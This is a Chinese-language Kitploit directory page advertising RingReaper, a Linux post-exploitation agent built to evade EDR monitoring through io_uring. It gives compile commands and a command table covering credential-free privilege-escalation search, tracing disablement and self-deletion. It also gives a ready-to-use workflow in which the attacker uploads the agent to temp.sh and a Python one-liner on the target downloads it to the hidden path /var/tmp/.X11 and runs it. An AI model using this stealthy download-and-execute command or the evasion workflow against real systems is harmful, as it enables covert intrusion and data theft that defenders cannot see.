Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
RingReaper — Linux后渗透代理,利用io_uring通过避免传统系统调用来隐蔽地绕过EDR检测。 | Kitploit
工具/GitHubGitHub/matheuzsecurity/ringreaper
权限提升IDS/IPS规避数据泄露后渗透利用命令与控制红队远程访问工具对抗性攻击
GitHubmatheuzsecurity/ringreaper

RingReaper

Linux后渗透代理,利用io_uring通过避免传统系统调用来隐蔽地绕过EDR检测。

查看仓库
3836211个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

RingReaper

RingReaper 是一个用于 Linux 的简单后渗透代理,专为需要隐蔽操作、最大限度降低被 EDR 解决方案检测风险的用户而设计。这个项目背后的思路是利用 io_uring(Linux 内核中新的异步 I/O 接口),专门用于规避大多数 EDR 倾向于监控甚至挂钩的传统系统调用。

实际上,RingReaper 将 read、write、recv、send、connect 等调用替换为异步 I/O 操作(io_uring_prep_*),从而减少暴露于安全产品通常以标准化方式收集的挂钩和事件跟踪。

注意: RingReaper 中的某些功能仍然依赖传统调用,例如目录读取(opendir、readdir)或符号链接解析(readlink),因为 io_uring 尚不完全原生支持这些类型的操作。即便如此,在我的测试中,这些调用并未在被测 EDR 上触发警报,原因恰恰在于它们不在被监控的网络 I/O 路径之内。

总而言之,RingReaper 的构建目标就是尽可能避免传统调用,即使在不得不使用它们的情况下,它也表现出了出色的规避能力,没有触发常见安全代理的任何警报或检测。

查看完整详细文章:

https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/

作者:https://www.linkedin.com/in/mathsalves/

Rootkit 研究人员

  • https://discord.gg/66N5ZQppU7

命令参考

在 RingReaper 中,所有数据流量(包括控制命令、上传和下载)都必须经过 io_uring。这也确保了最敏感的操作能避开基于传统调用的挂钩和 EDR 监控。

关于规避

RingReaper 从零开始设计,旨在绕过 EDR 监控。许多安全解决方案的检测触发机制都基于在内核层面拦截经典系统调用(read、recv、send、connect)。由于 io_uring 相对较新,且较少集成到这些产品的遥测管道中,它通常不会被大多数代理注意到,从而可以在不触发警报的情况下进行 C2 会话和数据外泄。

即使是仍然依赖较旧系统调用(如目录读取)的功能,也足够隐蔽,不会引起警报。

要求

  • Linux 内核 5.1 或更高版本
  • liburing 库
  • 兼容的 C 编译器(已使用 GCC 测试)

环境

仅在以下内核版本上进行过测试;

  • 6.8.0-60-generic
  • 6.12.25-amd64

编译

root@kitploit:~
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static

执行

在测试中,我注意到 EDR 会通过实时监控 GCC 的使用来检测 agent.c 的编译(最好不要使用 wget/curl)。为了绕过这一点,我在自己的机器上静态编译了代理,通过 temp.sh 发送编译好的二进制文件,并在目标上使用 Python 下载和执行它。这种技术在没有任何警报的情况下奏效。

服务器(攻击机):

  • curl -F "file=@agent" https://temp.sh/upload
  • python3 server.py --ip IP --port 443

代理(目标机器):

  • python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

升级

版本 2.0:

  • 支持多个线程连接。
  • 命令历史(使用“上”和“下”方向键)。
  • “Clear”命令,避免屏幕杂乱。

贡献

欢迎提交 pull request 并为项目做出贡献。如果 RingReaper 出现任何错误,请创建 issue 并报告给我们。

免责声明

此代码仅用于教育目的、研究和受控的规避技术演示。任何在授权环境之外的使用或出于恶意目的的使用均被严格禁止,并由用户自行承担全部责任。未经授权或非法的使用可能违反当地、国家或国际法律。

下载工具
CommandDescriptionBackend
get查看目标上的文件100% io_uring
put上传文件(代理端使用 recv)100% io_uring
killbpf禁用跟踪,删除 /sys/fs/bpf 文件并结束使用 bpf-map 的进程传统调用 + io_uring
users通过读取 utmp 列出已登录用户100% io_uring
ss / netstat从 /proc/net/tcp 列出 TCP 连接100% io_uring
privesc使用 statx 搜索 SUID 二进制文件100% io_uring
ps列出进程(使用 opendir、readdir)传统调用 + io_uring
kick结束 pts 会话(使用 opendir、readdir、kill、readlink)传统调用 + io_uring
me显示 PID/TTY(getpid、ttyname)传统调用 + io_uring
selfdestruct删除当前二进制文件(使用 readlink)传统调用 + io_uring
exit终止连接并退出100% io_uring
help显示帮助100% io_uring